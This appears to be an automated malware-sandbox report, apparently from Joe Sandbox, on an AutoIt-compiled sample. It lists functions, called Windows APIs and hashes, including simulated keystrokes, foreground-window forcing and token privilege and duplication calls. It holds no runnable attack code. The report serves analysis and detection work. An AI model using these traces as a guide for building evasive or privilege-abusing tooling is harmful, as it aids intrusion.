Instruction Fuzzy Hash: 69518031600605AFCF15EF68C99AEAE7FA6BF85310F154569F806AB392DB30ED01CB51

Function 00595AEE Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00000000), ref: 00595B96

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a6170c03355ec1374500f84ac6252f01d943173ff31156882f335a91e8c2c796
Instruction ID: 772efca5d51091da9d4671179b15a8466e477fbbd3be00dd62068d33a84d3e81
Opcode Fuzzy Hash: a6170c03355ec1374500f84ac6252f01d943173ff31156882f335a91e8c2c796
Instruction Fuzzy Hash: CF311D71A00A15AFCF19DF6DC484A6DBBB6FF44310F158629D81697710E770ADA08B91

Function 005CFCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 005CFCB7

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 88ba7ca237bfcb1e90d68a8142c9f1016ee3129f791b0835c505bffc4c0cd56a
Instruction ID: 65266d49357dfce0576df5796693ca9c08eb3b6e8740280a9f29528981c647b8
Opcode Fuzzy Hash: 88ba7ca237bfcb1e90d68a8142c9f1016ee3129f791b0835c505bffc4c0cd56a
Instruction Fuzzy Hash: AD41F5745043418FDB24DF18C488B1ABFE1BF85314F0988ACE89A8B362C735EC45CB92

Function 00594DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00594BB5: FreeLibrary.KERNEL32(00000000,?), ref: 00594BEF

Part of subcall function 005B525B: __wfsopen.LIBCMT ref: 005B5266

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,006552F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00594E0F

Part of subcall function 00594B6A: FreeLibrary.KERNEL32(00000000), ref: 00594BA4

Part of subcall function 00594C70: _memmove.LIBCMT ref: 00594CBA

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: c2c8c1c3f21f246c4ea338c6bf6e0fe4564bade9cb2356e07940eb3cf146cd56
Instruction ID: 0f9ee58bb5dc09861d05dcf79114df3b4a2ed51e764573628589226d8bfe68c2
Opcode Fuzzy Hash: c2c8c1c3f21f246c4ea338c6bf6e0fe4564bade9cb2356e07940eb3cf146cd56
Instruction Fuzzy Hash: 0411A335600207ABCF15AFB0C85AFAE7FA9BF84710F10892DF541A7181EB759E029F61

Function 005CFD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 005CFD91

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 892141965f2dd0f9d32caf8f8530ad778e2370bc5b24baed079f69b989411a54
Instruction ID: e53f532a7a36d4a20471ceb9dd8b76631f977b817ebccf105ec6c8e10227dac6
Opcode Fuzzy Hash: 892141965f2dd0f9d32caf8f8530ad778e2370bc5b24baed079f69b989411a54
Instruction Fuzzy Hash: 5E21F474908342DFDB24DF64C444B5ABBE5BF88314F05896CF88A5B762D731E805CBA2

Function 00595BC0 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,?,00000000,00000000,?,00010000,?,005956A7,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00595C16

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 5809e8f07fcfff76871ae0a9099ffe3501ce4c31cd13b1c29c19981a5ba8850c
Instruction ID: ed6ccadd3879ca47e5514d39448d2de088b0f2e9137e1986ede13e7259b83d64
Opcode Fuzzy Hash: 5809e8f07fcfff76871ae0a9099ffe3501ce4c31cd13b1c29c19981a5ba8850c
Instruction Fuzzy Hash: 4D113A71200B059FDB228F19D880B62BBE5FF44760F10C92EE99A86A51E770E854CB60

Function 005B4863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 005B48A6

Part of subcall function 005B8B28: __getptd_noexit.LIBCMT ref: 005B8B28

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: bf34c5c92d10f234cc4768e0365e6ad816bfeed6e1127e9f8ce30dfa8fcb2a14
Instruction ID: e3cb606baeb9647294e6376e2c13927c37e3e2e26758999560a6d2891674e846
Opcode Fuzzy Hash: bf34c5c92d10f234cc4768e0365e6ad816bfeed6e1127e9f8ce30dfa8fcb2a14
Instruction Fuzzy Hash: 42F0C23190060AEBDF21AFB4CC0A7EE3EA5BF40325F159414F4249A192CB78E951DF51

Function 00594E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,006552F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00594E7E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 45a5c3d3ae708781cfce5240f0e7348df63be574c54300ba03322e6df4331064
Instruction ID: 0bb26b038c6fd74e82737ee80e821b7ab78c62981593a3ff36f59f3c199888ee
Opcode Fuzzy Hash: 45a5c3d3ae708781cfce5240f0e7348df63be574c54300ba03322e6df4331064
Instruction Fuzzy Hash: 45F01571501712CFCF389F64E494C56BBE9BF543293248A3EE1D682620C732AC81DF41

Function 005B0791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005B07B0

Part of subcall function 00597BCC: _memmove.LIBCMT ref: 00597C06

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 7231d4f03848246cef64d7de4030ba680d5982471e5575227905acb640426728
Instruction ID: 55d1bf79e4db130926a4682f0f9d46a4a9ddc020156ab26e46c87368e53ca647
Opcode Fuzzy Hash: 7231d4f03848246cef64d7de4030ba680d5982471e5575227905acb640426728
Instruction Fuzzy Hash: BBE086369042295BC72096989C09FEA779DEBC96A0F0841B6FC08D7205D9709D808690

Function 005F8E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 005F8EC1

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction ID: 2ef9448c3bc51504ae7da0a289300bc02460002252a85cacd6f721e82344f19d
Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction Fuzzy Hash: D5E092B1104B045BDB388A24D800BF377E5BB09305F04081DF3AA83242EB6278458759

Function 00595C4E Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,005CDD42,?,?,00000000), ref: 00595C5F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 6d05892e905fec417f723affb161592b54d428aaf85253241a72dba6bac8792c
Instruction ID: b67183e8e9312b98c9fe7e3e21df08d1677cafcc9cae0c718efa9f7a6289baac
Opcode Fuzzy Hash: 6d05892e905fec417f723affb161592b54d428aaf85253241a72dba6bac8792c
Instruction Fuzzy Hash: 4ED0C77464020CBFE710DB80DC47FA9777DD705710F100195FD0456290D6B27D508795

Function 005B525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 005B5266

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 48f7f7790245a3f49742665c403eb717fd1fdbb80f97afb19acdf4ee64fdffb4
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: B2B0927A44020C77CE062A92EC02B897F19AB81764F408020FB0C18162A673AA649A89

Function 005FD07B Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 005FD1FF

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 7163f0f147996c40a48e6bb747bb75a6d9bb496576c9ae8c434bae28a53e723e
Instruction ID: 0521af61ccfa403dac4086cbfcccdb0bd21c952e72be5bbda29acdd8bf2eb231
Opcode Fuzzy Hash: 7163f0f147996c40a48e6bb747bb75a6d9bb496576c9ae8c434bae28a53e723e
Instruction Fuzzy Hash: 317151342043068FDB04EF64C495A6ABBF1BF89354F04492DF9969B3A1DB34E905CBA2

Function 005B0C08 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 005B0CB7

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 42102850dbd5a8a28620550a54f57161abfd78606ff0d01177cfd4745892871e
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 5C31B470A001059BC718DF58C4849AAFFA6FB59310B64A7A5E80ACB395DB31FDC1DBC0

Function 011C22A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 011C22B1

Memory Dump Source

Source File: 00000000.00000002.1256117968.00000000011C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_y1jQC8Y6bP.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 13f683cd245d4f33d7bc7f3853471919e451ec760175b4afedfaffc6f0a0f351
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: 42E0BF7494020E9FDB00EFA8D54969E7BB4EF04701F100165FD0192281D73099508A62

Non-executed Functions

Function 0061CABC Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00592612: GetWindowLongW.USER32(?,000000EB), ref: 00592623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0061CB37
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0061CB95
GetWindowLongW.USER32(?,000000F0), ref: 0061CBD6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0061CC00
SendMessageW.USER32 ref: 0061CC29
_wcsncpy.LIBCMT ref: 0061CC95
GetKeyState.USER32(00000011), ref: 0061CCB6
GetKeyState.USER32(00000009), ref: 0061CCC3
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0061CCD9
GetKeyState.USER32(00000010), ref: 0061CCE3
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0061CD0C
SendMessageW.USER32 ref: 0061CD33
SendMessageW.USER32(?,00001030,?,0061B348), ref: 0061CE37
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0061CE4D
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0061CE60
SetCapture.USER32(?), ref: 0061CE69
ClientToScreen.USER32(?,?), ref: 0061CECE
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0061CEDB
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0061CEF5
ReleaseCapture.USER32 ref: 0061CF00
GetCursorPos.USER32(?), ref: 0061CF3A
ScreenToClient.USER32(?,?), ref: 0061CF47
SendMessageW.USER32(?,00001012,00000000,?), ref: 0061CFA3
SendMessageW.USER32 ref: 0061CFD1
SendMessageW.USER32(?,00001111,00000000,?), ref: 0061D00E
SendMessageW.USER32 ref: 0061D03D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0061D05E
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0061D06D
GetCursorPos.USER32(?), ref: 0061D08D
ScreenToClient.USER32(?,?), ref: 0061D09A
GetParent.USER32(?), ref: 0061D0BA
SendMessageW.USER32(?,00001012,00000000,?), ref: 0061D123
SendMessageW.USER32 ref: 0061D154
ClientToScreen.USER32(?,?), ref: 0061D1B2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0061D1E2
SendMessageW.USER32(?,00001111,00000000,?), ref: 0061D20C
SendMessageW.USER32 ref: 0061D22F
ClientToScreen.USER32(?,?), ref: 0061D281
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0061D2B5

Part of subcall function 005925DB: GetWindowLongW.USER32(?,000000EB), ref: 005925EC

GetWindowLongW.USER32(?,000000F0), ref: 0061D351

Strings

F, xrefs: 0061D235
@GUI_DRAGID, xrefs: 0061CE9C
pbe, xrefs: 0061CEAF

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F$pbe
API String ID: 3977979337-1068723742
Opcode ID: 508ce1aedd4116e81ce5c7861ccfa90b1410b286534a8476201847b9f96d8a53
Instruction ID: c186dd546be5e19194387257a1eb5342f0f91cc9a42818ecd990f7abc811bed2
Opcode Fuzzy Hash: 508ce1aedd4116e81ce5c7861ccfa90b1410b286534a8476201847b9f96d8a53
Instruction Fuzzy Hash: 52427A74208741AFDB20CF24C859AEABBE6FF49320F184919F556C73A1C731E895DB92

Function 005A6F9E Relevance: 55.8, APIs: 19, Strings: 10, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005A71C3
_memset.LIBCMT ref: 005A7539
_memmove.LIBCMT ref: 005A76AC

Strings

_Z, xrefs: 005E23CB
\b(?=\w), xrefs: 005E3769
[:>:]], xrefs: 005A7492
P\d, xrefs: 005E1AB8
]d, xrefs: 005E1A22
3cZ, xrefs: 005E23A0
\b(?<=\w), xrefs: 005E3773
DEFINE, xrefs: 005E2103
[:<:]], xrefs: 005A7479
Q\E, xrefs: 005A7FCB

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memmove$_memset
String ID: ]d$3cZ$DEFINE$P\d$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_Z
API String ID: 1357608183-1541693910
Opcode ID: f033d5afb0c549fcfac1f36fd4acef07ef1185c7f45441bef90ae782d125fe5b
Instruction ID: a67a02ad8f69955df2ebda9a12d511f16cef57422882148b20868029292d88bf
Opcode Fuzzy Hash: f033d5afb0c549fcfac1f36fd4acef07ef1185c7f45441bef90ae782d125fe5b
Instruction Fuzzy Hash: 4593A475E00259DFDF28CF59C8857ADBBB1FF48310F25856AE985AB281E7709E81CB40

Function 005948D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 005948DF
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 005CD665
IsIconic.USER32(?), ref: 005CD66E
ShowWindow.USER32(?,00000009), ref: 005CD67B
SetForegroundWindow.USER32(?), ref: 005CD685
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 005CD69B
GetCurrentThreadId.KERNEL32 ref: 005CD6A2
GetWindowThreadProcessId.USER32(?,00000000), ref: 005CD6AE
AttachThreadInput.USER32(?,00000000,00000001), ref: 005CD6BF
AttachThreadInput.USER32(?,00000000,00000001), ref: 005CD6C7
AttachThreadInput.USER32(00000000,?,00000001), ref: 005CD6CF
SetForegroundWindow.USER32(?), ref: 005CD6D2
MapVirtualKeyW.USER32(00000012,00000000), ref: 005CD6E7
keybd_event.USER32(00000012,00000000), ref: 005CD6F2
MapVirtualKeyW.USER32(00000012,00000000), ref: 005CD6FC
keybd_event.USER32(00000012,00000000), ref: 005CD701
MapVirtualKeyW.USER32(00000012,00000000), ref: 005CD70A
keybd_event.USER32(00000012,00000000), ref: 005CD70F
MapVirtualKeyW.USER32(00000012,00000000), ref: 005CD719
keybd_event.USER32(00000012,00000000), ref: 005CD71E
SetForegroundWindow.USER32(?), ref: 005CD721
AttachThreadInput.USER32(?,?,00000000), ref: 005CD748

Strings

Shell_TrayWnd, xrefs: 005CD660

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 210485880f8988b79c618b54e9896bee63799dddc741347781eaf3d3be3324c6
Instruction ID: e1a51ab2786847d5736bc92ed96391484b150d57c07a88c4eccf2beb598c0e17
Opcode Fuzzy Hash: 210485880f8988b79c618b54e9896bee63799dddc741347781eaf3d3be3324c6
Instruction Fuzzy Hash: 3B315571A403187EEB205FA19C49FBF7E7EEB44B50F145036FA04EA1D1D6B05D41ABA1

Function 005E8310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 005E87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 005E882B
Part of subcall function 005E87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 005E8858
Part of subcall function 005E87E1: GetLastError.KERNEL32 ref: 005E8865

_memset.LIBCMT ref: 005E8353
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 005E83A5
CloseHandle.KERNEL32(?), ref: 005E83B6
